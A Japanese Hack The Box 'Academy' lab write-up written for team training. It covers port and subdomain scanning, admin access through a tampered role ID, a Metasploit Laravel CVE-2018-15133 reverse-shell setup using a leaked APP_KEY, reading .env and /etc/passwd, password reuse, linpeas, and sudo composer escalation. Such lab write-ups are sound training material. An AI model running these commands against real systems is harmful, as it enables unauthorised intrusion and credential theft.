はじめに
本記事は自チームの技術力向上、攻撃者目線の醸成を目的としてHacktheBox（以下リンク参照、以降HTB）の「Academy」を解いた際のWriteupとなります。
初期探索
まずHTBのマシンでは攻略対象のIP（今回は10.10.10.215）が1つ与えられます。
このIPに対してポートスキャンを行い、空いているPortを探します。
nmap ポートスキャン
┌──(root㉿kali-linux-2022-2)-[/tmp]
└─# nmap -n -Pn -v -sS -A 10.10.10.215 --top-ports 1000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-28 13:45 JST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Initiating SYN Stealth Scan at 13:45
Scanning 10.10.10.215 [1000 ports]
Discovered open port 22/tcp on 10.10.10.215
Discovered open port 80/tcp on 10.10.10.215
Completed SYN Stealth Scan at 13:45, 3.68s elapsed (1000 total ports)
Initiating Service scan at 13:45
Scanning 2 services on 10.10.10.215
Completed Service scan at 13:45, 6.42s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.215
Retrying OS detection (try #2) against 10.10.10.215
Retrying OS detection (try #3) against 10.10.10.215
Retrying OS detection (try #4) against 10.10.10.215
Retrying OS detection (try #5) against 10.10.10.215
Initiating Traceroute at 13:45
Completed Traceroute at 13:45, 0.21s elapsed
NSE: Script scanning 10.10.10.215.
Initiating NSE at 13:45
Completed NSE at 13:45, 5.81s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.80s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Nmap scan report for 10.10.10.215
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
| 256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
|_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=7/28%OT=22%CT=1%CU=40289%PV=Y%DS=2%DC=T%G=Y%TM=64C3480
OS:3%P=aarch64-unknown-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS
OS:=A)SEQ(SP=108%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=108%GCD=3%ISR=10A
OS:%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O
OS:4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=
OS:FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=
OS:Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y
OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR
OS:%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RU
OS:D=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 41.918 days (since Fri Jun 16 15:44:22 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 110/tcp)
HOP RTT ADDRESS
1 205.98 ms 10.10.14.1
2 206.32 ms 10.10.10.215
NSE: Script Post-scanning.
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.82 seconds
Raw packets sent: 1233 (58.318KB) | Rcvd: 1124 (48.462KB)
22番と80番が空いていることがわかりました。また80番portではApache/2.4.41で動いており、http://academy.htb/にリダイレクトされていることがわかります。
この設定は/etc/hostsに記載し、リダイレクトできるようにしておきます。
ブラウザアクセス
アクセスすると以下のようなページが表示されます。
なにやらWebが動いてそうです。ここからこのサイトに対して更なる探索を実施します。
情報列挙
サブドメイン探索
まずはサブドメインを探索します。ffufのツールを用いてHOSTヘッダにファジングをかけてリダイレクトが行われているようなレスポンス変動（サイズなど）を観測します。
サブドメインリストは以下のリポジトリを参考にしています。
┌──(root㉿kali-linux-2022-2)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://academy.htb/ -H "HOST: FUZZ.academy.htb" -fs 0 -t 100
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://academy.htb/
:: Wordlist : FUZZ: /root/work/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.academy.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
:: Progress: [100000/100000] :: Job [1/1] :: 91 req/sec :: Duration: [0:03:38] :: Errors: 0 ::
特段気になる出力はありませんでした。
ディレクトリ探索
今度はディレクトリの階層を探索していきます。dirsearchのツールを用いて探索を実施します。
┌──(root㉿kali-linux-2022-2)-[~/work]
└─# dirsearch -u http://academy.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/academy.htb/-_23-07-28_14-08-17.txt
Error Log: /root/.dirsearch/logs/errors-23-07-28_14-08-17.log
Target: http://academy.htb/
[14:08:17] Starting:
[14:08:25] 403 - 276B - /.ht_wsr.txt
[14:08:25] 403 - 276B - /.htaccess.bak1
[14:08:25] 403 - 276B - /.htaccess.sample
[14:08:25] 403 - 276B - /.htaccess.orig
[14:08:25] 403 - 276B - /.htaccess.save
[14:08:25] 403 - 276B - /.htaccess_extra
[14:08:25] 403 - 276B - /.htaccessBAK
[14:08:25] 403 - 276B - /.htaccessOLD
[14:08:25] 403 - 276B - /.htaccess_sc
[14:08:25] 403 - 276B - /.htaccess_orig
[14:08:25] 403 - 276B - /.htaccessOLD2
[14:08:25] 403 - 276B - /.htm
[14:08:25] 403 - 276B - /.html
[14:08:25] 403 - 276B - /.htpasswd_test
[14:08:25] 403 - 276B - /.htpasswds
[14:08:25] 403 - 276B - /.httr-oauth
[14:08:27] 403 - 276B - /.php
[14:08:46] 200 - 3KB - /admin.php
[14:09:04] 200 - 0B - /config.php
[14:09:14] 302 - 54KB - /home.php -> login.php
[14:09:14] 301 - 311B - /images -> http://academy.htb/images/
[14:09:14] 403 - 276B - /images/
[14:09:15] 200 - 2KB - /index.php
[14:09:15] 200 - 2KB - /index.php/login/
[14:09:20] 200 - 3KB - /login.php
[14:09:33] 200 - 3KB - /register.php
[14:09:35] 403 - 276B - /server-status
[14:09:35] 403 - 276B - /server-status/
Task Completed
気になる出力がたくさん見つかりました。/admin.php、/login.php、/register.phpあたりは実際にPage表示があり、以下のようなPageが表示されます。
login.php
register.php
admin.php
これらのPageの動作を確認するためBurpSuiteを用いて通信を観測します。
Role設定権限のアクセス制御不備
register.phpでUserを登録する際のリクエストとレスポンスは以下のように見えます。
roleidをポストしてますが、これがadmin権限の設定に関係があるかなと睨んで、別の値でPOSTしてみます。
Burp SuiteのRepeator機能を用いてroleidを1に設定したリクエストを投げます。
作成されたかどうかはadmin.phpにログインを試行してみるとわかります。
ログインに成功しました。
なにやらTodoのような表示が見えますね。サブドメインの記載があるので、このサブドメインを/etc/hostsに登録してアクセスしてみます。
Laravelのエラーページが見えます。色々有益な情報が落ちてそうなので、この情報を使って何かExploitができないか考えてみます。
初期侵入ベクトル
Exploit - 考察
このページにはbase64でエンコードされたAPP_KEYが記載されています。この情報を使ってExploitできるものがないか調べていると、以下の脆弱性がヒットしました。
このCVE-2018-15133は「APP_KEYの情報を持っている攻撃者は認証なしで任意のコードを実行できる」というものです。
この脆弱性を利用してReverse Shellを確立していきます。
Exploit - CVE-2018-15133
この脆弱性のExploitがKaliのmetasploitに存在するか確認します。
search 15133辺りの検索でヒットしました。
ではこのモンジュールを利用して、Exploitを実施していきます。
モジュール番号0番を指定して、show optionsで設定項目を確認します。
msf6 > use 0
msf6 exploit(unix/http/laravel_token_unserialize_exec) > show options
Module options (exploit/unix/http/laravel_token_unserialize_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
APP_KEY no The base64 encoded APP_KEY string from the .env file
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to target webapp
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(unix/http/laravel_token_unserialize_exec) >
ここに各種情報を投入していきます。
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set LHOST 10.10.14.119
LHOST => 10.10.14.119
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set RHOST 10.10.10.215
RHOST => 10.10.10.215
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set VHOST dev-staging-01.academy.htb
VHOST => dev-staging-01.academy.htb
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_KEY => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
msf6 exploit(unix/http/laravel_token_unserialize_exec) > show options
Module options (exploit/unix/http/laravel_token_unserialize_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= no The base64 encoded APP_KEY string from the .env file
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.215 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usi
ng-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to target webapp
VHOST dev-staging-01.academy.htb no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.119 yes The listen address (an interface may be specified)
LPORT 4441 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(unix/http/laravel_token_unserialize_exec) >
これでモジュールのセッティングが完了したので実際にExploitを実行します。
攻撃対象のShellを取得することに成功しました。
権限的にはLaravelを動かしているwww-dataのユーザでした。
このShellでは見えにくいので、プロンプトを返すようにmeterpreterのshellコマンドを実行します。
※勝手にPythonのptyからbashを起動してくれて便利です。
この権限ではUser.txtのフラグをゲット出来ないので探索を開始します。
横展開 - パスワードの使い回し
それっぽいファイルを片っ端から調べていきます。
www-data@academy:/var/www/html/htb-academy-dev-01/public$ cat .htaccess
cat .htaccess
<IfModule mod_rewrite.c>
<IfModule mod_negotiation.c>
Options -MultiViews -Indexes
</IfModule>
RewriteEngine On
# Handle Authorization Header
RewriteCond %{HTTP:Authorization} .
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
# Redirect Trailing Slashes If Not A Folder...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} (.+)/$
RewriteRule ^ %1 [L,R=301]
# Handle Front Controller...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [L]
</IfModule>
ここにはありませんでした。
www-data@academy:/var/www/html/academy$ cat .env
cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_DEBUG=false
APP_URL=http://localhost
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!
...省略
この.envファイルにDBのパスワードが書かれていました。
このPasswordの文字列を使いまわししている可能性もあるので、UserのSSHログインに使えるか試してみます。
その前に/etc/passwdからユーザ名を列挙しておきます。
www-data@academy:/var/www/html/academy$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
egre55:x:1000:1000:egre55:/home/egre55:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mrb3n:x:1001:1001::/home/mrb3n:/bin/sh
cry0l1t3:x:1002:1002::/home/cry0l1t3:/bin/sh
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
21y4d:x:1003:1003::/home/21y4d:/bin/sh
ch4p:x:1004:1004::/home/ch4p:/bin/sh
g0blin:x:1005:1005::/home/g0blin:/bin/sh
試してみると、cry0l1t3のユーザの権限で入ることができました。
横展開完了です。この権限であればUser.txtのフラグをゲットできます。
横展開 - AuditLogへのアクセス制御不備
情報列挙
この状況から闇雲に探しても辛いので、列挙ツールを使用します。
以下のサイトからlinpeas.shをダウンロードします。
このShellをKaliの攻撃マシンから攻撃対象のマシンへwgetを用いて転送し、実行権限を与えて実行します。
cry0l1t3@academy:/tmp$ ./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Get the latest version : https://github.com/sponsors/carlospolop |
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
linpeas-ng by carlospolop
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission. '
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username
Starting linpeas. Caching Writable Folders...
...省略
╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A
╔══════════╣ Searching passwords inside logs (limit 70)
2020-08-07 12:12:41,564 - ssh_util.py[DEBUG]: line 124: option PasswordAuthentication added with yes
...省略
この結果から、mrb3nユーザのパスワードはmrb3n_Ac@d3my!であることがわかりました。
audit logsへのアクセス制御不備が原因で、パスワードが漏洩してしまった形です。
それではこのユーザへsuを試してみます。
ログインに成功しました。
権限昇格
sudo権限の確認
sudo -lで権限を確認します。
mrb3n@academy:~$ sudo -l
[sudo] password for mrb3n:
Matching Defaults entries for mrb3n on academy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer
mrb3n@academy:~$
/usr/bin/composerをroot権限で実行できるようです。
このcomposerはPHPのパッケージ管理ツールで、以下のように悪用方法が簡単に調査できます。
このExploit手順を実施するだけで権限昇格が容易にできそうです。
Exploit
Exploitを実施します。
Root権限に昇格できました。これでRoot.txtのフラグをゲットできます。
まとめ
以下の脆弱性により、Root権限への昇格が可能でした。
- admin roleの設定権限のアクセス制御不備
- CVE-2018-15133
- パスワードの使い回し
- AuditLogへのアクセス制御不備
- sudo実行権限のあるコマンド